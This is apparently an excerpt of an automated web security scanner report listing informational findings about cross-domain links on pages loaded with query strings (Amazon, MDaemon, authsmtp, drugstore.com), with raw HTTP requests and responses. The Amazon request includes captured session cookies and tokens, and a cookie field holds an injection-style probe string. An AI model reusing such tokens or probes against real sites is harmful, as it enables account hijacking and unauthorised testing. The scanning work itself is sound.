<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
</h1>
           <img src="http://lh3.googleusercontent.com/-vpN4cWeHo7E/AAAAAAAAAAI/AAAAAAAACgw/tbJSsM4LhFY/photo.jpg?sz=200" width="60" height="60" id="profile_image"/>
           <a href="http://plus.google.com/106933972856076071655" id="wgp_name" target="_blank" onClick="recordOutboundLink(this, 'Name', 'thehackernews.com');return false;">Mohit Kumar</a>
           <div id="wgp_add_button_wrapper">
               <a href="https://plus.google.com/106933972856076071655" target="_blank" id="wgp_add_button" onClick="recordOutboundLink(this, 'Button', 'thehackernews.com');return false;">Add to circles</a>
...[SNIP]...

15.46. http://ws.amazon.com/widgets/q previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ws.amazon.com
Path:	/widgets/q

Issue detail

The page was loaded from a URL containing a query string:

http://ws.amazon.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=US&ID=V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733

The response contains the following link to another domain:

http://wms.assoc-amazon.com/20070822/US/js/8002_7.js

Request

GET /widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=US&ID=V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733 HTTP/1.1
Host: ws.amazon.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=194891197.337409241.1315233673.1315233673.1315236916.2; __utmz=194891197.1315236916.2.2.utmccn=(referral)|utmcsr=aws-portal.amazon.com|utmcct=/gp/aws/html-forms-controller/contactus98dd2'%3bac3249871a9/aws-account-and-billing|utmcmd=referral; ct-main="?yScNOlWT31nv@QGPOP6MZlUTgEuPV67"; apn-user-id=ad436c0d-3f66-48df-8380-85023e358301; x-main="kYmMgX@s6zRSHrgXsrT2Jct5JsIxFj@7"; aws-ubid-main=189-0212498-8250436; aws-x-main=UsPqM6hqJEtppz2vUlxJzQS7UOORf9DA; session-token=SQF/NkehkGMk+jdlo6/NLXrRBtfG2aeSiUcxmLBxdBQ8cmJRMfNGlYkOX0a/N00l4OzAutqHvfb9FBh+fr8MF6/DdmBOr5uYhE9XOogb0pkADN6BRGFMatq2bldyvYdHA3jnepv+7Arl9xnJWdTft1/gFN5GixtGQVw8ONCdfFj7229gWrFCR/ylhyeHArd92XSZrR8ObUdlW6zcVvlI08NLUSNtliR/aHfv+MkySJE2G/JWqf7h9pFBH71guzzVfsd8zXeStVUwsLfl2A70Cg==; ubid-main=189-8322294-4852542; session-id-time=2082787201l; session-id=188-7348060-9795407

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:20 GMT
Server: Server
Cache-Control: must-revalidate
Pragma: no-cache
Expires: -1
p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC "
charset: UTF-8
Vary: User-Agent
nnCoection: close
Content-Type: application/javascript;charset=UTF-8
Content-Length: 16976

var amzn_wdgt={"cols":3,"tag":"opera-20","width":"615","inner_bkgd_color":"#FFFFFF","serviceVersion":"20070822","use_default_search_term":false,"
...[SNIP]...
'] = 'toys';
obj['VHS'] = 'vhs';
obj['Watches'] = 'watches';
obj['PetSupplies'] = 'pets';
}
else{
}

return obj;
}

document.write('<script charset="utf-8" type="text/javascript" src="http://wms.assoc-amazon.com/20070822/US/js/8002_7.js"> </script>
...[SNIP]...

15.47. http://www.altn.com/Products/MDaemon-Email-Server-Windows/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.altn.com
Path:	/Products/MDaemon-Email-Server-Windows/

Issue detail

The page was loaded from a URL containing a query string:

http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig

The response contains the following links to other domains:

http://www.mdaemon-mail-server.com/
http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-Archiving-QuickStartGuide.pdf
http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-ComAgent-QuickStartGuide.pdf
http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-Datasheet.pdf
http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-QuickStartGuide.pdf
http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-Webmail-QuickStartGuide.pdf
http://www.mdaemon-mail-server.com/collateral/us/us-mdaemonpro-datasheet.pdf
http://www.rim.com/
http://www.zoomerang.com/
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False
https://www.securitymetrics.com/images/sm_tested1.gif
https://www.securitymetrics.com/site_certificate.adp?s=65%2e240%2e66%2e160&i=192108

Request

GET /Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig HTTP/1.1
Host: www.altn.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:13:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 32860

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/19
...[SNIP]...
<div style="PADDING-LEFT: 10px; FLOAT: right; WIDTH: 187px" align="center"><a target="_blank" href="http://www.mdaemon-mail-server.com"><img title="What's New" height="500" alt="" width="177" border="0" src="/Images/Banners/MDaemon-BBedition_skyscraper.png" />
...[SNIP]...
<div align="center"><a target="_blank" onclick="pageTracker._link(this.href); return false;" href="http://www.mdaemon-mail-server.com"><img id="btn_WhatsNew" title="What's New" height="34" alt="" width="110" border="0" name="btn_WhatsNew" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('btn_WhatsNew','','/Images/Buttons/btn
...[SNIP]...
<div style="PADDING-LEFT: 10px; FLOAT: right; WIDTH: 187px" align="center"><script type="text/javascript" src="http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False"></script><noscript><a href="http://www.zoomerang.com/">Online Surveys - Zoomerang.com</a>
...[SNIP]...
<li><a title="MDaemon Product Brochure (PDF)" target="_blank" href="http://www.mdaemon-mail-server.com/collateral/us/us-mdaemonpro-datasheet.pdf">Data Sheet - MDaemon Messaging Server Pro (PDF)</a>
...[SNIP]...
<li><a title="Datasheet - MDaemon Messaging Server, BlackBerry Edition (PDF)" target="_blank" href="http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-Datasheet.pdf">Data Sheet - MDaemon Messaging Server, BlackBerry<sup>
...[SNIP]...
<li><a title="MDaemon Quick Start Guide (PDF)" target="_blank" href="http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-QuickStartGuide.pdf">MDaemon Installation - Quick Start Guide (PDF)</a>
...[SNIP]...
<li><a title="MDaemon Easy Archiving Quick Start Guide (PDF)" target="_blank" href="http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-Archiving-QuickStartGuide.pdf">MDaemon Easy Archiving - Quick Start Guide (PDF)</a>
...[SNIP]...
<li><a title="MDaemon's Instant Messaging (ComAgent) Quick Start Guide (PDF)" target="_blank" href="http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-ComAgent-QuickStartGuide.pdf">MDaemon's Instant Messaging (ComAgent) - Quick Start Guide (PDF)</a>
...[SNIP]...
<li><a title="Features - MDaemon's Webmail Client (WorldClient) (PDF)" target="_blank" href="http://www.mdaemon-mail-server.com/collateral/US/US-MDaemon-Webmail-QuickStartGuide.pdf">MDaemon's Webmail Client (WorldClient) Features (PDF)</a>
...[SNIP]...
</sup><a target="_blank" href="http://www.rim.com/"> <img title="Research In Motion" border="0" alt="Research In Motion" src="/Images/Logos/RIM_small.png" />
...[SNIP]...


<a target="_blank" href="https://www.securitymetrics.com/site_certificate.adp?s=65%2e240%2e66%2e160&i=192108"><img style="VERTICAL-ALIGN: top" border="0" alt="SecurityMetrics for PCI Compliance, QSA, IDS, Penetration Testing, Forensics, and Vulnerability Assessment" src="https://www.securitymetrics.com/images/sm_tested1.gif" /></a>
...[SNIP]...

15.48. http://www.authsmtp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.authsmtp.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.authsmtp.com/?gclid=CLTWt_OJoqsCFRRSgwod8HVslQ

The response contains the following links to other domains:

http://www.getonline.co.uk/
http://www.getonlinedesign.com/

Request

GET /?gclid=CLTWt_OJoqsCFRRSgwod8HVslQ HTTP/1.1
Host: www.authsmtp.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:37 GMT
Server: Apache/1.3.42 (Unix) PHP/5.3.6
Last-Modified: Fri, 19 Aug 2011 12:43:38 GMT
ETag: "1fa050e-204f-4e4e5a7a"
Accept-Ranges: bytes
Content-Length: 8271
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta content="en-gb" htt
...[SNIP]...
<div class="pageFooter">
[<a href="http://www.getonline.co.uk">Web hosting</a> by <a href="http://www.getonline.co.uk">Get Online</a> and <a href="http://www.getonlinedesign.com/">Web design</a> by <a href="http://www.getonlinedesign.com/">Get Online Design</a>
...[SNIP]...

15.49. http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/pharmacy/drugindex/rxsearch.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp?search=ess

The response contains the following links to other domains:

http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/assets.asp?catid=10663
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/site.css?version=4
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/site/0/CSSMenuImageReplacement.asp?
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/site/0/default.css?version=4
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/footer/button_truste.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/footer/hp_legal.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/icons/button_bml.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/icons/button_google.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/search_result_bar.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/2sites1bag.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/ds_logo_context.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/dscm_button_checkout.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/favicon.ico
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_lenses.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_list.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_pharmacy.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/search_border_left.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/search_border_right.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/spacer.gif
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/prototype.min.js?v=1.4.0
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/scriptaculous.js?v=1.5.2
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/edutl.js
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/shoprunner_init.js
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/web_analytics/s_code.js?v=0.1
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/scripts.asp?v=0.4
http://drugstore.custhelp.com/
http://drugstore.custhelp.com/app/chat/chat_launch/c/504
http://drugstore.custhelp.com/cgi-bin/drugstore.cfg/php/enduser/ask.php?p_cv=3.501&p_pv=&p_prods=&p_cats=447%2C500%2C501&cat_lvl1=447&cat_lvl2=500&cat_lvl3=501
http://drugstore.custhelp.com/cgi-bin/drugstore.cfg/php/enduser/std_adp.php?p_faqid=512
http://privacy-policy.truste.com/click-with-confidence/wps/en/www.drugstore.com/seal_m
http://www.facebook.com/drugstore.com
http://www.paypal.com/en_US/i/logo/PayPal_mark_37x23.gif
http://www.twitter.com/drugstoredotcom

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 77163
Content-Type: text/html; charset=utf-8
Expires: Thu, 15 Sep 2011 16:31:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:yonvhm55shpcsh45w02oevnl; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:31:38 GMT
Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:39 GMT; path=/
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title>Ess - drugstore.com.
...[SNIP]...
<meta http-equiv="Content-Style-Type" content="text/css" />
<link rel="stylesheet" media="screen" type="text/css" href="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/site.css?version=4" />
<link rel="stylesheet" type="text/css" href="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/assets.asp?catid=10663" />
<link rel="stylesheet" type="text/css" href="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/site/0/default.css?version=4" />
<link rel="shortcut icon" type="image/x-icon" href="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/favicon.ico"/>
<link rel="icon" type="image/x-icon" href="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/favicon.ico"/>
<script language="javascript1.1">
...[SNIP]...
<span class="globalnavdsheadericon"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_list.gif" border="0" alt="Your List" title="Your List"/></span>
...[SNIP]...
</span><a id="help_url_general" href="http://drugstore.custhelp.com/" target="dshelp" onclick="javascript:window.open('http://drugstore.custhelp.com/','dshelp','width=800,height=550,scrollbars=yes,resizable=yes,status=no,menubar=yes,toolbar=no,location=no');return false;" title="help" rel="nofollow"class="globalnavdsaccountlinks">help</a>
...[SNIP]...
<a href="/shoppingbag.asp?catid=17008&trx=29982"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/2sites1bag.gif" class="gndsTwoSiteOneBag" alt="" /></a>
...[SNIP]...
default.asp?trx=newgn_28109&trxp1=0&trxp2=0&trxp3=1%7C1" onclick="TrackCheckoutClick('imgCheckOut', 'drugstorecomglobalprod', 'rx', '')" rel="nofollow" class="gndsshoppinglinks" style="color:#007dc3;"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/dscm_button_checkout.gif" style="width:82px; height:20px; border:none;" alt="checkout" /></a>
...[SNIP]...
<a href="http://www.drugstore.com"><img title="drugstore.com" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/ds_logo_context.gif" border="0" hspace="0" vspace="0" alt="drugstore.com"/></a></div><div class="gndsSearchLeftPadding"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/search_border_left.gif" border="0"/></div>
...[SNIP]...
<div class="gndsSearchRightPadding"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/search_border_right.gif" border="0"/></div>
...[SNIP]...
<div style="float:left;" class="gndsAdditionalLinks"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_pharmacy.gif" border="0" alt="pharmacy" title="pharmacy" /></div>
...[SNIP]...
<div style="float:left;" class="gndsAdditionalLinks"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_lenses.gif" border="0" alt="contact lenses" title="contact lenses" /></div>
...[SNIP]...
<div id="MenuCntr"><link rel="stylesheet" type="text/css" href="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/css/site/0/CSSMenuImageReplacement.asp?"/><div id="WebstoreMenu_0_False" class="webstoremenu">
...[SNIP]...
<td valign="top">
                                           <a onclick="javascript:window.open('http://drugstore.custhelp.com/cgi-bin/drugstore.cfg/php/enduser/ask.php?p_cv=3.501&p_pv=&p_prods=&p_cats=447%2C500%2C501&cat_lvl1=447&cat_lvl2=500&cat_lvl3=501','dshelp','width=800,height=550,scrollbars=yes,resizable=yes,status=no,menubar=yes,toolbar=no,location=no');return false;" href="http://drugstore.custhelp.com/cgi-bin/drugstore.cfg/php/enduser/ask.php?p_cv=3.501&p_pv=&p_prods=&p_cats=447%2C500%2C501&cat_lvl1=447&cat_lvl2=500&cat_lvl3=501">Contact Us</a>
...[SNIP]...
<td id="LeftGutter" bgcolor="#ffffff" rowspan="2" width="5"><img title="" class="spacer" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/spacer.gif" height="1" width="5" vspace="0" hspace="0" border="0" alt=""/></td>
...[SNIP]...
<td height=60>
<img title="search results for ess" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/search_result_bar.gif" width=455 height=21 vspace=0 hspace=0 border=0 alt="search results for ess"><br/>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=BD+Swab+Single+Use+Regular&trx=1Z5007" title="click to show the different types of BD Swab Single Use Regular"><img title="click to show the different types of BD Swab Single Use Regular" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of BD Swab Single Use Regular"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Butalbital%2DASA%2DCaffeine&trx=1Z5007" title="click to show the different types of Butalbital-ASA-Caffeine"><img title="click to show the different types of Butalbital-ASA-Caffeine" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Butalbital-ASA-Caffeine"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=E%2EE%2ES%2E+400&trx=1Z5007" title="click to show the different types of E.E.S. 400"><img title="click to show the different types of E.E.S. 400" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of E.E.S. 400"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=E%2EE%2ES%2E+Granules&trx=1Z5007" title="click to show the different types of E.E.S. Granules"><img title="click to show the different types of E.E.S. Granules" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of E.E.S. Granules"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Hydrocortisone+Ace%2DPramoxine&trx=1Z5007" title="click to show the different types of Hydrocortisone Ace-Pramoxine"><img title="click to show the different types of Hydrocortisone Ace-Pramoxine" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Hydrocortisone Ace-Pramoxine"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Lidocaine%2DHydrocortisone+Ace&trx=1Z5007" title="click to show the different types of Lidocaine-Hydrocortisone Ace"><img title="click to show the different types of Lidocaine-Hydrocortisone Ace" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Lidocaine-Hydrocortisone Ace"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Megace+ES&trx=1Z5007" title="click to show the different types of Megace ES"><img title="click to show the different types of Megace ES" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Megace ES"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Oxazepam&trx=1Z5007" title="click to show the different types of Oxazepam"><img title="click to show the different types of Oxazepam" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Oxazepam"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Proferrin+ES&trx=1Z5007" title="click to show the different types of Proferrin ES"><img title="click to show the different types of Proferrin ES" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Proferrin ES"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Proferrin%2DForte&trx=1Z5007" title="click to show the different types of Proferrin-Forte"><img title="click to show the different types of Proferrin-Forte" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Proferrin-Forte"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Vicodin&trx=1Z5007" title="click to show the different types of Vicodin"><img title="click to show the different types of Vicodin" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Vicodin"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Vicodin+ES&trx=1Z5007" title="click to show the different types of Vicodin ES"><img title="click to show the different types of Vicodin ES" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Vicodin ES"><strong>
...[SNIP]...
<a href="/pharmacy/drugindex/rxsearch.asp?search=ess&expand=Vicodin+HP&trx=1Z5007" title="click to show the different types of Vicodin HP"><img title="click to show the different types of Vicodin HP" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/pharmacy/expand.gif" width=12 height=12 vspace=0 hspace=5 border=0 alt="click to show the different types of Vicodin HP"><strong>
...[SNIP]...
<td height=20><img title="" class="spacer" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/spacer.gif" height="20" width="1" vspace="0" hspace="0" border="0" alt=""/></td>
...[SNIP]...
<td height=10><img title="" class="spacer" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/spacer.gif" height="10" width="1" vspace="0" hspace="0" border="0" alt=""/></td>
...[SNIP]...
<td height=10><img title="" class="spacer" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/spacer.gif" height="10" width="1" vspace="0" hspace="0" border="0" alt=""/></td>
...[SNIP]...
<td id="RightNav" rowspan="2" width="153" valign="top" bgcolor="#f2f2f4"><img title="" class="spacer" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/spacer.gif" height="1" width="153" vspace="0" hspace="0" border="0" alt=""/><div id="rightNav" align="left">
...[SNIP]...
<p>
           <a title="online chat support" href="http://drugstore.custhelp.com/app/chat/chat_launch/c/504" target="_blank">
               <img border="0" alt="" src="http://pics.drugstore.com/catimg/134548/click_to_chat_space_1.gif" width="131" height="147"/>
...[SNIP]...
<td width=130 valign="top" class="leftnavmenuitem">Questions? Please visit our <a class="underlineRemove" id="help_url_general" href="http://drugstore.custhelp.com/" target="dshelp" onclick="javascript:window.open('http://drugstore.custhelp.com/','dshelp','width=800,height=550,scrollbars=yes,resizable=yes,status=no,menubar=yes,toolbar=no,location=no');return false;" title="site help pages" >site help pages</a>
...[SNIP]...
<map name="AutoMapLoop">
                           <area href="http://www.facebook.com/drugstore.com" shape="rect" alt="become a fan on Facebook" target="_blank" coords="10,29,42,63"/>
                           <area href="http://www.twitter.com/drugstoredotcom" shape="rect" alt="follow us on Twitter" target="_blank" coords="53,29,83,62"/>
                       </map>
...[SNIP]...
<div style="float:left;padding-right:10px;"><img src="http://www.paypal.com/en_US/i/logo/PayPal_mark_37x23.gif" border="0" alt="Paypal" title="Paypal" class="FooterPaymentButton"/></div><div style="float:left;padding-right:10px;"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/icons/button_google.gif" border="0" alt="Google Checkout" title="Google Checkout" class="FooterPaymentButton"/></div>
...[SNIP]...
-content/fetch?hash=P8M2938N&content=/bmlweb/tk60rollingiw.html','billmelater','toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=yes, width=700, height=750');"><img src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/icons/button_bml.gif" border="0" alt="Bill Me Later" title="Bill Me Later" style="vertical-align:top;"/></a>
...[SNIP]...
<div class="FooterTruste"><a href="http://privacy-policy.truste.com/click-with-confidence/wps/en/www.drugstore.com/seal_m" title="TRUSTe online privacy certification" target="_blank"><img style="border: none" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/footer/button_truste.gif" alt="TRUSTe online privacy certification"/></a>
...[SNIP]...
<div class="FooterDesclaimer"><img src=http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/footer/hp_legal.gif /></div>
...[SNIP]...
<span class="FooterTermsOfUseColumn"><a class="FooterTermsOfUseColumn" id="help_url_copyright" href="http://drugstore.custhelp.com/cgi-bin/drugstore.cfg/php/enduser/std_adp.php?p_faqid=512" target="dshelp" onclick="javascript:window.open('http://drugstore.custhelp.com/cgi-bin/drugstore.cfg/php/enduser/std_adp.php?p_faqid=512','dshelp','width=800,height=550,scrollbars=yes,resizable=yes,status=no,menubar=yes,toolbar=no,location=no');return false;" title="Terms of Use" rel="nofollow">Terms of Use</a>
...[SNIP]...
</center><script type="text/javascript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/prototype.min.js?v=1.4.0"></script>
<script type="text/javascript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/scriptaculous.js?v=1.5.2"></script>
<script src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/scripts.asp?v=0.4"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/web_analytics/s_code.js?v=0.1"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/shoprunner_init.js"></script>
...[SNIP]...
<script src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/edutl.js"></script>
...[SNIP]...

